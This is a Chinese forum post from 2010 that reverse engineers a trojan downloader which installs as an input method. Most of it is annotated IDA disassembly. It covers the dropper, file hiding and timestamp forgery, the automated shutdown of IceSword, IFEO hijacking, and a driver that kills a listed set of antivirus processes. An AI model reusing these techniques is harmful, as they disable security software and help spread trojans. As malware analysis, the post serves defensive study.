bianfeng 发表于 2010-5-28 09:06:00

一个输入法注入的木马下载器完全逆向与分析

本帖最后由 bianfeng 于 2010-5-28 10:01 编辑

【文章标题】: 一个输入法注入的木马下载器完全逆向与分析(包括释放的文件和驱动文件)
【文章作者】:  bianfeng
【作者邮箱】: 99373089@qq.com
【作者QQ号】: 99373089
【使用工具】: OD + IDA5.5
【操作平台】: XP-SP3
【作者声明】: 第一次发分析贴,应一个朋友的邀请此发此贴,请大家看不要做坏事哦。
下载的木马的分析不发上来了,几乎都查找内存特征码,再安装inline hook来盗号的,
如有错误欢迎大家指正.
木马行为与功能:
一、母体文件nx.exe
1.释放文件c:\windows\system32\winnea.ime
2.安装输入法.
二、释放的文件winnea.ime主要行为
1.发送消息来关闭模拟用户的行为来关闭冰忍.
2.镜像劫持大量的安全软件进程(此方法已经效,逆一下AV终结者的驱动,是在ring0镜像劫持大量的安全软件进程)
3.遍历进程,并通过释放的驱动pcij.sys来结束大量的安全软件的进程,并删除360杀毒与360安全卫士的主程序.
4.下载大量的木马到临时目录,并运行.
三、驱动程序功能
1.删除安全软件的主程序.
2.调用PsLookupProcessByProcessId与MmUnmapViewOfSection()函数结束安全软件进程。

下面来看看母体程序nx.exe的分析

获取模块文件名.text:13147D94 lea eax,
.text:13147D9A mov dl, 'r'
.text:13147D9C mov cl, 'l'
.text:13147D9E push eax ; lpFileName
.text:13147D9F push 0 ; hModule
.text:13147DA1 mov , 'K' ; 生成字符串"Kernel32.dll"
.text:13147DA5 mov , dl ; 'r'
.text:13147DA8 mov , 'n'
.text:13147DAC mov , cl ; 'l'
.text:13147DAF mov , '3'
.text:13147DB3 mov , '2'
.text:13147DB7 mov , '.'
.text:13147DBB mov , 'd'
.text:13147DBF mov , cl ; 'l'
.text:13147DC2 mov , cl ; 'l'
.text:13147DC5 mov , 0
.text:13147DC9 mov , 'C' ; 生成字符串"CreateFileA"
.text:13147DCD mov , dl ; 'l'
.text:13147DD0 mov , 'a'
.text:13147DD4 mov , 't'
.text:13147DD8 mov , 'F'
.text:13147DDC mov , 'i'
.text:13147DE0 mov , cl ; 'l'
.text:13147DE3 mov , 'A'
.text:13147DE7 mov , 0
.text:13147DEB call __GetModuleFileName
设置自身为隐藏属性.text:13147E77                 lea     ecx, ; 模块文件名
.text:13147E7D                 push    6               ; dwFileAttributes
.text:13147E7F                 push    ecx             ; lpFileName
.text:13147E80                 call    _SetFileAttributes ; 设置自身文件属性,更改文件日期
.text:13147E85                 add     esp, 8
.text:13147E88                 call    GetInputState
.text:13147E8E                 push    0               ; lParam
.text:13147E90                 push    0               ; wParam
.text:13147E92                 push    0               ; Msg
.text:13147E94                 call    GetCurrentThreadId
.text:13147E9A                 push    eax             ; idThread
.text:13147E9B                 call    PostThreadMessageA
.text:13147EA1                 push    0               ; wMsgFilterMax
.text:13147EA3                 push    0               ; wMsgFilterMin
.text:13147EA5                 lea     edx,
.text:13147EA8                 push    0               ; hWnd
.text:13147EAA                 push    edx             ; lpMsg
.text:13147EAB                 call    GetMessageA
.text:13147EB1                 push    12000           ; dwMilliseconds
.text:13147EB6                 call    _Sleep
.text:13147EBB                 call    sub_13147B30    ; 关键call A
.text:13147EC0                 push    10000           ; dwMilliseconds
.text:13147EC5                 call    _Sleep
.text:13147ECA                 add     esp, 8

进入关键call看看

释放文件到c:\windows\system32\winnea.ime.text:13147B30 sub esp, 10Ch
.text:13147B36 push edi
.text:13147B37 初始化数组填充0
.text:13147B37 mov ecx, 40h
.text:13147B3C xor eax, eax
.text:13147B3E lea edi,
.text:13147B42 mov , 0
.text:13147B47 push 104h ; uSize
.text:13147B4C rep stosd
.text:13147B4E stosw
.text:13147B50 stosb
.text:13147B51 lea eax,
.text:13147B55 push eax ; lpBuffer
.text:13147B56 call GetSystemDirectoryA
.text:13147B5C lea ecx,
.text:13147B60 push offset String2 ; "\\winnea.ime"
.text:13147B65 push ecx ; lpString1
.text:13147B66 call lstrcatA
.text:13147B6C lea edx,
.text:13147B70 push edx ; lpFileName,c:\windows\system32\winnea.ime
.text:13147B71 call ReleaseFile ; 释放文件到c:\windows\system32\winnea.ime
.text:13147B76 add esp, 4
释放文件后并安装输入法。
加载winnea.ime模块,初始化模块时并干掉大量安全软件进程。
并调用导出的函数MyBoy。
.text:13147B88 lea eax,
.text:13147B8C push eax ; lpFileName,c:\windows\system32\winnea.ime
.text:13147B8D call InstallInput ; 安装输入法
.text:13147B92 add esp, 8
.text:13147B95 lea ecx,
.text:13147B99 push ecx ; lpLibFileName
.text:13147B9A call LoadLibraryA ; 加载释放的文件,c:\windows\system32\winnea.ime
.text:13147BA0 test eax, eax
.text:13147BA2 jz short loc_13147BB7
.text:13147BA4 push offset ProcName ; "MyBoy"
.text:13147BA9 push eax ; hModule
.text:13147BAA call GetProcAddress ; 获取“MyBoy"函数的地址
.text:13147BB0 push 0
.text:13147BB2 call eax ; 调用之,Kill一部分安全软件
.text:13147BB4 add esp, 4
激键盘布局,设置并设置输入法顺序,通过调用SystemParametersInfoA ; 更新系统,使安装的输入法加载到所有进程
.text:13147BDD                 push    esi
.text:13147BDE                 push    0               ; uFlags
.text:13147BE0                 push    eax             ; hKL
.text:13147BE1                 call    ActivateKeyboardlayout ; 激活键盘布局
.text:13147BE6                 push    offset lpszKeyboardLayoutName
.text:13147BEB                 call    GetKeyboardLayoutName ; 获取键盘布局名
.text:13147BF0                 push    0               ; idThread
.text:13147BF2                 mov     esi, eax
.text:13147BF4                 call    GetKeyboardLayout ; 获取键盘布局句柄
.text:13147BF9                 push    0               ; uFlags
.text:13147BFB                 push    eax             ; hKL
.text:13147BFC                 call    ActivateKeyboardlayout ; 激活键盘布局
.text:13147C01                 add     esp, 18h
.text:13147C04                 test    esi, esi
.text:13147C06                 pop     esi
.text:13147C07                 jz      short loc_13147C60
.text:13147C09                 lea     eax,
.text:13147C0D                 push    eax             ; phkResult
.text:13147C0E                 push    0F003Fh         ; samDesired,  // security access mask
.text:13147C13                 push    0               ; ulOptions,   // reserved
.text:13147C15                 push    offset szKeyboardLayout ; "Keyboard Layout\\Preload"
.text:13147C1A                 push    80000001h       ; hKey
.text:13147C1F                 call    _RegOpenKeyExA  ; 打开注册表
.text:13147C24                 add     esp, 14h
.text:13147C27                 test    eax, eax
.text:13147C29                 jnz     short loc_13147C51 ; uFlags
.text:13147C2B                 mov     ecx,
.text:13147C2F                 push    0Ch             ; cbData
.text:13147C31                 push    offset lpszKeyboardLayoutName ; lpData
.text:13147C36                 push    1               ; dwType
.text:13147C38                 push    eax             ; Reserved
.text:13147C39                 push    offset lpValueName ; lpValueName
.text:13147C3E                 push    ecx             ; hKey
.text:13147C3F                 call    RegSetValueEx   ; 设置输入法的顺序
.text:13147C44                 mov     edx,
.text:13147C48                 push    edx             ; hKey
.text:13147C49                 call    RegCloseKey
.text:13147C4E                 add     esp, 1Ch
.text:13147C51
.text:13147C51 loc_13147C51:                           ; CODE XREF: sub_13147B30+F9j
.text:13147C51                 push    8               ; uFlags
.text:13147C53                 push    offset lpszKeyboardLayoutName ; pwszKLID
.text:13147C58                 call    _LoadKeyboardLayout ; 加载键盘布局
.text:13147C5D                 add     esp, 8
.text:13147C60
.text:13147C60 loc_13147C60:                           ; CODE XREF: sub_13147B30+D7j
.text:13147C60                 lea     eax,
.text:13147C64                 push    2               ; fWinIni
.text:13147C66                 push    eax             ; pvParam
.text:13147C67                 push    0               ; uiParam
.text:13147C69                 push    5Ah             ; uiAction
.text:13147C6B                 call    _SystemParametersInfoA ; 更新系统,使安装的输入法加载到所有进程
.text:13147C70                 add     esp, 10h
.text:13147C73
.text:13147C73 loc_13147C73:                           ; CODE XREF: sub_13147B30+A7j
.text:13147C73                 lea     ecx,
.text:13147C77                 push    6               ; dwFileAttributes
.text:13147C79                 push    ecx             ; lpFileName
.text:13147C7A                 call    _SetFileAttributes ; 设置文件属性
.text:13147C7F                 add     esp, 114h
.text:13147C85                 retn

下面是ReleaseFile的分析

首先要释放的文件分2段解密,要释放的文件
.text:131479F3                 push    ebx
.text:131479F4                 push    ebp
.text:131479F5                 push    esi
.text:131479F6                 push    edi
.text:131479F7                 call    DecryFile_B     ; 解码将要释放的文件c:\windows\system32\winnea.ime下半部分
.text:131479FC                 call    DecryFile_A     ; 解码将要释放的文件c:\windows\system32\winnea.ime的上半部分
.text:13147A01                 xor     eax, eax
.text:13147A03                 lea     ecx,
.text:13147A07                 mov     dword ptr , eax
.text:13147A0B                 lea     edx,
.text:13147A0F                 mov     dword ptr , eax
.text:13147A13                 push    ecx             ; lpFileTime
.text:13147A14                 mov     dword ptr , eax
.text:13147A18                 push    edx             ; lpSystemTime
.text:13147A19                 mov     , 0
.text:13147A1E                 mov     dword ptr , eax
.text:13147A22                 mov     , 7D5h
.text:13147A29                 mov     , 8
.text:13147A30                 mov     , 11h
.text:13147A37                 mov     , 14h
.text:13147A3E                 mov     , ax
.text:13147A43                 call    SystemTimeToFileTime

建立文件c:\windows\system32\winnea.ime,并修改文件时间
建立文件c:\windows\system32\winnea.ime
.text:13147A59                 mov     edx,
.text:13147A5D                 push    0               ; hTemplateFile
.text:13147A5F                 push    0               ; dwFlagsAndAttributes
.text:13147A61                 push    2               ; dwCreationDisposition
.text:13147A63                 push    0               ; lpSecurityAttributes
.text:13147A65                 push    1               ; dwShareMode
.text:13147A67                 push    40000000h       ; dwDesiredAccess
.text:13147A6C                 push    edx             ; lpFileName,c:\windows\system32\winnea.ime
.text:13147A6D                 call    CreateFile
.text:13147A72                 mov     ebp, eax
.text:13147A74                 add     esp, 1Ch
.text:13147A77                 cmp     ebp, 0FFFFFFFFh
.text:13147A7A                 jnz     short loc_13147A81
.text:13147A7C                 mov     , 0
.text:13147A81 更改文件时间
.text:13147A81
.text:13147A81 loc_13147A81:                           ; CODE XREF: ReleaseFile+8Aj
.text:13147A81                 lea     eax,
.text:13147A85                 lea     ecx,
.text:13147A89                 push    eax             ; lpLastWriteTime
.text:13147A8A                 push    0               ; lpLastAccessTime
.text:13147A8C                 push    ecx             ; lpCreationTime
.text:13147A8D                 push    ebp             ; hFile
.text:13147A8E                 call    SetFileTime
文件分两次写入c:\windows\system32\winnea.ime
.text:13147A94 写入文件c:\windows\system32\winnea.ime上半部分
.text:13147A94                 lea     edx,
.text:13147A98                 push    0               ; lpOverlapped
.text:13147A9A                 push    edx             ; lpNumberOfBytesWritten
.text:13147A9B                 push    2B20h           ; nNumberOfBytesToWrite
.text:13147AA0                 push    offset winnea_ime_A ; lpBuffer
.text:13147AA5                 push    ebp             ; hFile
.text:13147AA6                 call    WriteFile
.text:13147AAB                 add     esp, 14h
.text:13147AAE                 test    eax, eax
.text:13147AB0                 jz      short loc_13147AB7
.text:13147AB2                 mov     , 1
.text:13147AB7 写入文件c:\windows\system32\winnea.ime下半部分
.text:13147AB7
.text:13147AB7 loc_13147AB7:                           ; CODE XREF: ReleaseFile+C0j
.text:13147AB7                 lea     eax,
.text:13147ABB                 push    0               ; lpOverlapped
.text:13147ABD                 push    eax             ; lpNumberOfBytesWritten
.text:13147ABE                 push    3CE0h           ; nNumberOfBytesToWrite
.text:13147AC3                 push    offset byte_13141058 ; lpBuffer
.text:13147AC8                 push    ebp             ; hFile
.text:13147AC9                 call    WriteFile
c:\windows\system32\winnea.ime写入垃圾码使文件变大,怕文件太小被用户发现?.text:13147AD8 mov ebx, lstrlenA
.text:13147ADE 申请的空间写入垃圾码51515151h
.text:13147ADE mov esi, eax
.text:13147AE0 mov ecx, 40000h
.text:13147AE5 mov eax, 51515151h
.text:13147AEA mov edi, esi
.text:13147AEC add esp, 18h
.text:13147AEF rep stosd
.text:13147AF1 mov edi, 0Ch
.text:13147AF6 多次写入垃圾码使文件变大51515151h
.text:13147AF6
.text:13147AF6 loc_13147AF6: ; CODE XREF: ReleaseFile+11Cj
.text:13147AF6 lea ecx,
.text:13147AFA push 0 ; lpOverlapped
.text:13147AFC push ecx ; lpNumberOfBytesWritten
.text:13147AFD push esi ; lpString
.text:13147AFE call ebx ; lstrlenA
.text:13147B00 push eax ; nNumberOfBytesToWrite
.text:13147B01 push esi ; lpBuffer
.text:13147B02 push ebp ; hFile
.text:13147B03 call WriteFile ; 再次c:\windows\system32\winnea.ime写入垃圾码
.text:13147B08 add esp, 14h
.text:13147B0B dec edi
.text:13147B0C jnz short loc_13147AF6
.text:13147B0E push ebp ; hFile
.text:13147B0F call CloseHandle
.text:13147B14 mov al,
母体程序分析完毕
下面是分析的文件

chhzh 发表于 2010-5-28 09:10:25

此贴毕火!!!!!!!!!!!!!!!

bianfeng 发表于 2010-5-28 09:28:53

本帖最后由 bianfeng 于 2010-5-28 09:50 编辑

下面分析释放的文件winnea.ime

winnea.ime的DllEntryPoint初始化时行为
1.释放驱动,干掉大量的安全软件进程
2.建立3个线程
  (1).发送消息,模拟用户来关闭冰忍
  (2).镜像劫持大量安全软件进程
  (3).下载大量的木马.text:100028F0 ; BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
.text:100028F0                 public DllEntryPoint
.text:100028F0 DllEntryPoint   proc near
.text:100028F0
.text:100028F0 szModuleFileName= byte ptr -8Ch
.text:100028F0 szExplorer      = byte ptr -28h
.text:100028F0 sz360safe_exe   = byte ptr -18h
.text:100028F0 sz360tray_exe   = byte ptr -0Ch
.text:100028F0 hInstance       = dword ptr  8
.text:100028F0 fdwReason       = dword ptr  0Ch
.text:100028F0 lpReserved      = dword ptr  10h
.text:100028F0 arg_5C          = byte ptr  64h
.text:100028F0
.text:100028F0                 push    ebp
.text:100028F1                 mov     ebp, esp
.text:100028F3                 sub     esp, 8Ch
.text:100028F9                 mov     eax,
.text:100028FC                 sub     eax, 0
.text:100028FF                 jz      loc_10002B25
.text:10002905                 dec     eax
.text:10002906                 jnz     loc_10002B31
.text:1000290C                 mov     eax,
.text:1000290F                 push    eax
.text:10002910                 call    _RegisterClassEx
.text:10002915                 add     esp, 4
.text:10002918                 test    eax, eax
.text:1000291A                 jnz     short loc_10002922 ; 模块初次加载跳走
.text:1000291C                 mov     esp, ebp
.text:1000291E                 pop     ebp
.text:1000291F                 retn    0Ch
.text:10002922 ; ---------------------------------------------------------------------------
.text:10002922
.text:10002922 loc_10002922:                           ; CODE XREF: DllEntryPoint+2Aj
.text:10002922                 nop
.text:10002923                 mov     cl, 'x'
.text:10002925                 mov     dl, '0'
.text:10002927                 mov     , cl ; 'x'
.text:1000292A                 mov     , cl ; 'x'
.text:1000292D                 mov     , cl ; 'x'
.text:10002930                 mov     , cl ; 'x'
.text:10002933                 lea     ecx,
.text:10002939                 mov     , dl ; '0'
.text:1000293C                 mov     , dl ; '0'
.text:1000293F                 push    64h             ; nSize
.text:10002941                 mov     al, 'e'
.text:10002943                 mov     dl, 'r'
.text:10002945                 push    ecx             ; lpFilename
.text:10002946                 push    0               ; hModule
.text:10002948                 mov     , '3'
.text:1000294C                 mov     , '6'
.text:10002950                 mov     , 's'
.text:10002954                 mov     , 'a'
.text:10002958                 mov     , 'f'
.text:1000295C                 mov     , al ; 'e'
.text:1000295F                 mov     , '.'
.text:10002963                 mov     , al ; 'e'
.text:10002966                 mov     , al ; 'e'
.text:10002969                 mov     , 0
.text:1000296D                 mov     , '3'
.text:10002971                 mov     , '6'
.text:10002975                 mov     , 't'
.text:10002979                 mov     , dl ; 'r'
.text:1000297C                 mov     , 'a'
.text:10002980                 mov     , 'y'
.text:10002984                 mov     , '.'
.text:10002988                 mov     , al ; 'e'
.text:1000298B                 mov     , al ; 'e'
.text:1000298E                 mov     , 0
.text:10002992                 mov     , al ; 'e'
.text:10002995                 mov     , 'p'
.text:10002999                 mov     , 'l'
.text:1000299D                 mov     , 'o'
.text:100029A1                 mov     , dl ; 'r'
.text:100029A4                 mov     , al ; 'e'
.text:100029A7                 mov     , dl ; 'r'
.text:100029AA                 mov     , '.'
.text:100029AE                 mov     , al ; 'e'
.text:100029B1                 mov     , al ; 'e'
.text:100029B4                 mov     , 0
.text:100029B8                 call    GetModuleFileNameA ; 获取实例路径
.text:100029BE                 nop
.text:100029BF                 lea     edx,
.text:100029C2                 lea     eax,
.text:100029C8                 push    edx             ; SubStr
.text:100029C9                 push    eax             ; Str
.text:100029CA                 call    _strlwr         ; 实例路径转换成小写
.text:100029CF                 add     esp, 4
.text:100029D2                 push    eax             ; Str
.text:100029D3                 call    strstr          ; 查找子串,宿主是否explorer.exe
.text:100029D8                 add     esp, 8
.text:100029DB                 test    eax, eax
.text:100029DD                 jz      short loc_10002A25 ; 没有寄生在explorer则跳走
.text:100029DF                 push    esi
.text:100029E0                 nop
.text:100029E1 1.释放驱动,干掉大量的安全软件进程
.text:100029E1                 push    0               ; BytesReturned
.text:100029E3                 call    KillSafeSoft    ; 释放驱动,并干掉杀毒软件
.text:100029E8                 add     esp, 4
.text:100029EB                 mov     esi, CreateThread
.text:100029F1 2.建立3个线程
.text:100029F1 (1).发送消息,模拟用户来关闭冰忍
.text:100029F1 (2).镜像劫持大量安全软件进程
.text:100029F1 (3).下载大量的木马
.text:100029F1                 push    0               ; lpThreadId
.text:100029F3                 push    0               ; dwCreationFlags
.text:100029F5                 push    0               ; lpParameter
.text:100029F7                 push    offset lpfnCloseIceSword ; lpStartAddress,关闭冰忍
.text:100029FC                 push    0               ; dwStackSize
.text:100029FE                 push    0               ; lpThreadAttributes
.text:10002A00                 call    esi ; CreateThread
.text:10002A02                 push    0               ; lpThreadId
.text:10002A04                 push    0               ; dwCreationFlags
.text:10002A06                 push    0               ; lpParameter
.text:10002A08                 push    offset lpfnImageFileExecution ; lpStartAddress,镜像劫持大量的安全软件进程
.text:10002A0D                 push    0               ; dwStackSize
.text:10002A0F                 push    0               ; lpThreadAttributes
.text:10002A11                 call    esi ; CreateThread
.text:10002A13                 push    0               ; lpThreadId
.text:10002A15                 push    0               ; dwCreationFlags
.text:10002A17                 push    0               ; lpParameter
.text:10002A19                 push    offset lpfnDownFile ; lpStartAddress,下载大量的木马
.text:10002A1E                 push    0               ; dwStackSize
.text:10002A20                 push    0               ; lpThreadAttributes
.text:10002A22                 call    esi ; CreateThread
.text:10002A24                 pop     esi
.text:10002A25
.text:10002A25 loc_10002A25:                           ; CODE XREF: DllEntryPoint+EDj
.text:10002A25                 lea     ecx,
.text:10002A28                 lea     edx,
.text:10002A2E                 push    ecx             ; SubStr
.text:10002A2F                 push    edx             ; Str
.text:10002A30                 call    _strlwr
下面看看lpfnCloseIceSword线程
.text:10005C40 ; DWORD __stdcall lpfnCloseIceSword(LPVOID)
.text:10005C40 lpfnCloseIceSword proc near             ; DATA XREF: DllEntryPoint+107o
.text:10005C40                 push    esi
.text:10005C41                 mov     esi, Sleep
.text:10005C47
.text:10005C47 loc_10005C47:                           ; CODE XREF: lpfnCloseIceSword+25j
.text:10005C47                 push    offset aIcesword ; "IceSword"
.text:10005C4C                 push    offset szWindow ; lpszWindow
.text:10005C51                 push    offset szClass  ; "AfxControlBar42s"
.text:10005C56                 call    CloseIceSword
.text:10005C5B                 add     esp, 0Ch
.text:10005C5E                 push    1770h           ; dwMilliseconds
.text:10005C63                 call    esi ; Sleep
.text:10005C65                 jmp     short loc_10005C47 ; 用一个死循环监视冰忍是否启动
.text:10005C65 lpfnCloseIceSword endp

进程CloseIceSword看看
用的方法很巧妙,查找冰忍窗口,休眠100毫秒的时间内等用户光标移动到关闭对话框,再获取获取冰忍的关闭对话框句柄
并模拟按键"空格"的方式来关闭冰忍.text:10005BA0 ; int __cdecl CloseIceSword(LPCSTR lpszClass, LPCSTR lpszWindow)
.text:10005BA0 CloseIceSword proc near ; CODE XREF: lpfnCloseIceSword+16p
.text:10005BA0
.text:10005BA0 szWindowText = byte ptr -104h
.text:10005BA0 lpszClass = dword ptr 4
.text:10005BA0 lpszWindow = dword ptr 8
.text:10005BA0
.text:10005BA0 sub esp, 104h
.text:10005BA6 push esi
.text:10005BA7 call __GetForegroundWindow
.text:10005BAC mov ecx,
.text:10005BB3 mov esi, eax
.text:10005BB5 mov eax,
.text:10005BBC 1.查找冰忍窗口
.text:10005BBC push eax ; lpszWindow
.text:10005BBD push ecx ; lpszClass
.text:10005BBE push 0 ; hWndChildAfter
.text:10005BC0 push esi ; hWndParent
.text:10005BC1 call FindWindowExA
.text:10005BC7 test eax, eax
.text:10005BC9 jz short loc_10005C2E
.text:10005BCB 2.找到冰忍窗口发送WM_CLOSE,此时弹出关闭对话框
.text:10005BCB push edi
.text:10005BCC push 0
.text:10005BCE push 0
.text:10005BD0 push 10h
.text:10005BD2 push esi
.text:10005BD3 call __PostMessageA
.text:10005BD8 add esp, 10h
.text:10005BDB 3.休眠100毫秒等用户光标移动到关闭对话框
.text:10005BDB push 100 ; dwMilliseconds
.text:10005BDD call Sleep
.text:10005BE3 4.获取冰忍的关闭对话框句柄
.text:10005BE3 call __GetForegroundWindow
.text:10005BE8 mov edx, eax
.text:10005BEA mov ecx, 40h
.text:10005BEF xor eax, eax
.text:10005BF1 lea edi,
.text:10005BF5 mov , 0
.text:10005BFA push 104h ; nMaxCount
.text:10005BFF rep stosd
.text:10005C01 stosw
.text:10005C03 stosb
.text:10005C04 lea eax,
.text:10005C08 push eax ; lpString
.text:10005C09 push edx ; hWnd
.text:10005C0A call GetWindowTextA
.text:10005C10 5.模拟键盘使用"空格"键关闭冰忍
.text:10005C10 push 0
.text:10005C12 push 0
.text:10005C14 push 0
.text:10005C16 push 0Dh
.text:10005C18 call __keybd_event ; 模拟键盘“空格”选"是"来关闭冰忍
.text:10005C1D add esp, 10h
.text:10005C20 mov eax, 1
.text:10005C25 pop edi
.text:10005C26 pop esi
.text:10005C27 add esp, 104h
.text:10005C2D retn
.text:10005C2E ; ---------------------------------------------------------------------------
.text:10005C2E
.text:10005C2E loc_10005C2E: ; CODE XREF: CloseIceSword+29j
.text:10005C2E mov eax, 1
.text:10005C33 pop esi
.text:10005C34 add esp, 104h
.text:10005C3A retn
.text:10005C3A CloseIceSword endp
KillSafeSoft函数分析
释放文件驱动文件pcij,加载驱动完毕后,立即删除服务以抹掉注册表痕迹,同时删除驱动文件 mov ecx, ebx
.text:100041BB 2.释放驱动文件
.text:100041BB lea eax,
.text:100041C1 and ecx, 3
.text:100041C4 push eax ; NumberOfBytesWritten
.text:100041C5 rep movsb
.text:100041C7 call ReleseSysFile ; 在C:\WINDOWS\system\pcii.sys释放文件
.text:100041CC mov esi, Sleep
.text:100041D2 add esp, 4
.text:100041D5 push 200 ; dwMilliseconds
.text:100041DA call esi ; Sleep
.text:100041DC lea ecx,
.text:100041E2 3.加载驱动
.text:100041E2 push ecx
.text:100041E3 call LoadDriver ; 加载驱动C:\WINDOWS\system\pcii.sys
.text:100041E8 add esp, 4
.text:100041EB mov edi, eax
.text:100041ED push 200 ; dwMilliseconds
.text:100041F2 call esi ; Sleep
.text:100041F4 4.删除刚刚释放的驱动文件
.text:100041F4 lea edx,
.text:100041FA push edx
.text:100041FB call _DeleteFileA
.text:10004200 add esp, 4
.text:10004203 mov eax, edi
.text:10004205 pop edi
.text:10004206 pop esi
.text:10004207 pop ebx
.text:10004208 mov esp, ebp
.text:1000420A pop ebp
.text:1000420B retn
建立进程快照,遍历安全软件的进程,获取进程ID并发送IRP结束大量安全软件进程
.text:100043F1 1.建立进程快照
.text:100043F1                 push    0               ; dwFlags
.text:100043F3                 push    2               ; th32ProcessID
.text:100043F5                 mov     , '3' ; 生成字符串“360rtay.exe
.text:100043F9                 mov     , '6'
.text:100043FD                 mov     , '0'
.text:10004401                 mov     , 't'
.text:10004405                 mov     , 'r'
.text:10004409                 mov     , 'a'
.text:1000440D                 mov     , 'y'
.text:10004411                 mov     , dl ; '.'
.text:10004414                 mov     , al ; 'e'
.text:10004417                 mov     , cl ; 'x'
.text:1000441A                 mov     , al ; 'e'
.text:1000441D                 mov     , 0
.text:10004421                 mov     , '3'
.text:10004425                 mov     , '6' ; 生成字符串“360safe.exe”
.text:10004429                 mov     , '0'
.text:1000442D                 mov     , 's'
.text:10004431                 mov     , 'a'
.text:10004435                 mov     , 'f'
.text:10004439                 mov     , al ; 'e'
.text:1000443C                 mov     , dl ; '.'
.text:1000443F                 mov     , al ; 'e'
.text:10004442                 mov     , cl ; 'x'
.text:10004445                 mov     , al ; 'e'
.text:10004448                 mov     , 0
.text:1000444C                 call    _CreateToolhelp32Snapshot ; 建立进程快照
.text:10004451                 mov     esi, eax
.text:10004453                 lea     eax,
.text:10004459                 push    eax             ; LPPROCESSENTRY32
.text:1000445A                 push    esi             ; hSnapshot
.text:1000445B                 mov     , 128h
.text:10004465                 call    _Process32First
.text:1000446A                 add     esp, 10h
.text:1000446D                 test    eax, eax
.text:1000446F                 jz      loc_100046A3
.text:10004475                 push    edi
.text:10004476                 mov     edi,
.text:10004479 2.枚举安全软件进程,比较安全进程名
.text:10004479
.text:10004479 loc_10004479:                           ; CODE XREF: EnumProcess+2BCj
.text:10004479                 lea     ecx,
.text:1000447C                 lea     edx,
.text:10004482                 push    ecx
.text:10004483                 push    edx
.text:10004484                 call    _lstrcmpi       ; 逐一比较,安全软件进程名
.text:10004489                 add     esp, 8
.text:1000448C                 test    eax, eax
.text:1000448E                 jz      loc_10004673
.text:10004494                 lea     eax,
.text:1000449A                 push    offset lpszEkrn_exe ; "ekrn.exe"
.text:1000449F                 push    eax
.text:100044A0                 call    _lstrcmpi
.text:100044A5                 add     esp, 8
.text:100044A8                 test    eax, eax
.text:100044AA                 jz      loc_10004673
.text:100044B0                 lea     ecx,
.text:100044B6                 push    offset lpszEgui_exe ; "egui.exe"
.text:100044BB                 push    ecx
.text:100044BC                 call    _lstrcmpi
.text:100044C1                 add     esp, 8
.text:100044C4                 test    eax, eax
.text:100044C6                 jz      loc_10004673
.text:100044CC                 lea     edx,
.text:100044D2                 push    offset lpszNod32krn_exe ; "nod32krn.exe"
.text:100044D7                 push    edx
.text:100044D8                 call    _lstrcmpi
.text:100044DD                 add     esp, 8
.text:100044E0                 test    eax, eax
.text:100044E2                 jz      loc_10004673
.text:100044E8                 lea     eax,
.text:100044EE                 push    offset lpszNod32kui_exe ; "nod32kui.exe"
.text:100044F3                 push    eax
.text:100044F4                 call    _lstrcmpi
.text:100044F9                 add     esp, 8
.text:100044FC                 test    eax, eax
.text:100044FE                 jz      loc_10004673
.text:10004504                 lea     ecx,
.text:10004507                 lea     edx,
.text:1000450D                 push    ecx
.text:1000450E                 push    edx
.text:1000450F                 call    _lstrcmpi
.text:10004514                 add     esp, 8
.text:10004517                 test    eax, eax
.text:10004519                 jz      loc_10004673
.text:1000451F                 lea     eax,
.text:10004525                 push    offset lpszSafeboxtray_ex ; "safeboxTray.exe"
.text:1000452A                 push    eax
.text:1000452B                 call    _lstrcmpi
.text:10004530                 add     esp, 8
.text:10004533                 test    eax, eax
.text:10004535                 jz      loc_10004673
.text:1000453B                 lea     ecx,
.text:10004541                 push    offset lpsz360safebox_exe ; "360safebox.exe"
.text:10004546                 push    ecx
.text:10004547                 call    _lstrcmpi
.text:1000454C                 add     esp, 8
.text:1000454F                 test    eax, eax
.text:10004551                 jz      loc_10004673
.text:10004557                 lea     edx,
.text:1000455D                 push    offset lpszKrnl360svc_exe ; "krnl360svc.exe"
.text:10004562                 push    edx
.text:10004563                 call    _lstrcmpi
.text:10004568                 add     esp, 8
.text:1000456B                 test    eax, eax
.text:1000456D                 jz      loc_10004673
.text:10004573                 lea     eax,
.text:10004579                 push    offset lpszZhudongfangyu_exe ; "ZhuDongFangYu.exe"
.text:1000457E                 push    eax
.text:1000457F                 call    _lstrcmpi
.text:10004584                 add     esp, 8
.text:10004587                 test    eax, eax
.text:10004589                 jz      loc_10004673
.text:1000458F                 lea     ecx,
.text:10004595                 push    offset lpszRstray_exe ; "rstray.exe"
.text:1000459A                 push    ecx
.text:1000459B                 call    _lstrcmpi
.text:100045A0                 add     esp, 8
.text:100045A3                 test    eax, eax
.text:100045A5                 jz      loc_10004673
.text:100045AB                 lea     edx,
.text:100045B1                 push    offset lpszRavmond_exe ; "ravmond.exe"
.text:100045B6                 push    edx
.text:100045B7                 call    _lstrcmpi
.text:100045BC                 add     esp, 8
.text:100045BF                 test    eax, eax
.text:100045C1                 jz      loc_10004673
.text:100045C7                 lea     eax,
.text:100045CD                 push    offset lpsz360sd_exe ; "360sd.exe"
.text:100045D2                 push    eax
.text:100045D3                 call    _lstrcmpi
.text:100045D8                 add     esp, 8
.text:100045DB                 test    eax, eax
.text:100045DD                 jz      loc_10004673
.text:100045E3                 lea     ecx,
.text:100045E9                 push    offset lpszAvp_exe ; "avp.exe"
.text:100045EE                 push    ecx
.text:100045EF                 call    _lstrcmpi
.text:100045F4                 add     esp, 8
.text:100045F7                 test    eax, eax
.text:100045F9                 jz      short loc_10004673
.text:100045FB                 lea     edx,
.text:10004601                 push    offset lpsz360rp_exe ; "360rp.exe"
.text:10004606                 push    edx
.text:10004607                 call    _lstrcmpi
.text:1000460C                 add     esp, 8
.text:1000460F                 test    eax, eax
.text:10004611                 jz      short loc_10004673
.text:10004613                 lea     eax,
.text:10004619                 push    offset lpszKavstart_exe ; "kavstart.exe"
.text:1000461E                 push    eax
.text:1000461F                 call    _lstrcmpi
.text:10004624                 add     esp, 8
.text:10004627                 test    eax, eax
.text:10004629                 jz      short loc_10004673
.text:1000462B                 lea     ecx,
.text:10004631                 push    offset lpszKwatch_exe ; "kwatch.exe"
.text:10004636                 push    ecx
.text:10004637                 call    _lstrcmpi
.text:1000463C                 add     esp, 8
.text:1000463F                 test    eax, eax
.text:10004641                 jz      short loc_10004673
.text:10004643                 lea     edx,
.text:10004649                 push    offset lpszKswebshield_exe ; "kswebshield.exe"
.text:1000464E                 push    edx
.text:1000464F                 call    _lstrcmpi
.text:10004654                 add     esp, 8
